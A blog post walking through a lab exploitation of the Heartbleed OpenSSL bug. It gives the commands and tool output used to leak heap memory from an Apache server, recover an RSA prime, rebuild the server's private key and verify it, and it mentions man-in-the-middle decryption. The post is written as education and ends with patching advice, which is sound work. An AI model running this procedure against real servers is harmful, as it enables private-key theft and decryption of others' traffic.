Heartbleed – Got prime number?

I would like to demonstrate a hand’s on scenario that will allow one to have a better practical understanding on how someone could exploit the OpenSSL bug known as Heartbleed to retrieve the server RSA private key which is used to encrypt the SSL/TLS communications. The environment consists of 2 virtual machines. The victim is running Ubuntu 12.04-4  and the Evil is running Kali Linux. On the victim machine I installed Apache with SSL and created a self signed certificate by issuing the following command:.

root@ubuntu:~#openssl req -x509 -nodes -days 365 -newkey rsa:1024 
-keyout /etc/apache2/ssl/apache.key -out /etc/apache2/ssl/apache.crt

The versions of Apache and OpenSSL are as follow:

root@ubuntu:~# uname -srvnmapi
Linux ubuntu 3.11.0-15-generic #25~precise1-Ubuntu SMP
 Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
root@ubuntu:~# openssl version -a
OpenSSL 1.0.1 14 Mar 2012
root@ubuntu:~# apache2ctl status
Server Version: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch
mod_ssl/2.2.22 OpenSSL/1.0.1

On the Evil machine I download the Heartbleed exploit tool that was initially created by Jared Stafford and later modified by SensePost. This modified version of the Heartbleat exploit tool allows to dump 65k of data from the server heap memory. This 65k of data among other sensitive information might contain information about the private RSA key used in the SSL/TLS protocol.

In order to give you more background, essentially, the difficulty of RSA rests on the mathematical problem of factoring large numbers into its prime factors.  When generating RSA keys the system starts by generating two large primes, P and Q, and compute their product N = PxQ. N is called the modulos. The following picture shows the various components that constitute a private RSA key and a X.509 certificate with a RSA public key.


The exploit tool is able to search and extract one of the prime numbers from the leaked data. Because the modulus is public, if you know one prime number you can deduct the other one.  We start by downloading the public certificate from the website and saving is as apache.crt

root@kali# echo | openssl s_client -connect 2>/dev/null | openssl x509

We then launch the tool. As parameters we specify the IP address of the vulnerable website and its public certificate that was retrieved with the previous command. The tool uses the public certificate to retrieve its modulus which is then used to search for a prime number.

root@kali# ./heartbeat.py apache.crt
Using modulus: DA180F8241054B11C2C285B26E79B66B0BFCC81137B9134F192DA383D3
Using key size: 64
Scanning on port 443
Sending Client Hello...
Waiting for Server Hello...
Server sent server hello done
Server TLS version was 1.2
Sending heartbeat request...
Got length: 16384
 ... received message: type = 24, ver = 0302, length = 65551
Received heartbeat response:
Got result:
found prime: 0xfefd816751054d08836aca2c5cfce8bc68cfc22cfc13b706ecb59ddb9

Winner winner chicken dinner! We got a prime number.  Now that we know one of the primes’ number and the modulus we just need to compute the other prime number and generate the private key. To compute the second prime number we just divide the modulus by the prime number. Then we execute a tool called rsatool made by Joerie de Gram which can calculate the key given two prime numbers.

For the sake of brevity we will skip these steps but basically you can do it all in the command line as shown in the following figure. Or you could use CrypTool on windows.


Following that we just need to execute the rsatool and provide the two prime numbers in order to generate the private key. The rsatool can be downloaded here. You might need to install Gmpy but the detailed instructions to do that are here.

root@kali# python rsatool.py -p 1335492333462949787732219655309901759698
6199325720394785771138007056207461090554397 -q 1146774128500603561764050
9697566790924903103501535799885761545468408467346567363797 -n 1531508056
65516965409 -o apache-recovered.key
Using (p, q) to initialise RSA instance
Saving PEM as apache-recovered.key

Now that we got the private key how can we test it that is valid? Among others, one thing we could easily do is to digitally sign a file with the original private key and verify its signature with the recovered public key.

Let’s first sign a file in the victim machine.

root@ubuntu# echo "Sign this piece of information" > filename
root@ubuntu# openssl dgst -md5 -sign apache.key -out signature filename

Then in the Evil system we could verify it using the recovered public key which means we possess the private key.

root@kali# openssl rsa -in apache-recovered.key -pubout > apache-recovered.pub.key
root@kali# openssl dgst -md5 -verify apache-recovered.pub.key -signature signature filename
Verified OK

Among other things we could pull of a man-in-the-middle attack and decrypt the SSL traffic using the recovered key. As you could see almost no knowledge is needed to run this exploit against a vulnerable server but its consequences are severe. For sure many companies are still recovering from the OpenSSL vulnerability and many others will benefit from doing lessons learned on how to improve their incident handling capability in order to be better prepared for such worst case scenarios. This has been a serious bug and you might want to consider changing your passwords in case you have an account in the following sites. If you own a website or any other service that uses OpenSSL like OpenVPN you want to patch it now! Certificates and keys at risk of compromise should be revoked and replaced. One interesting consequence of this bug was the amount of certificates that have been revoked in the last days.

Tagged , , , , ,

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: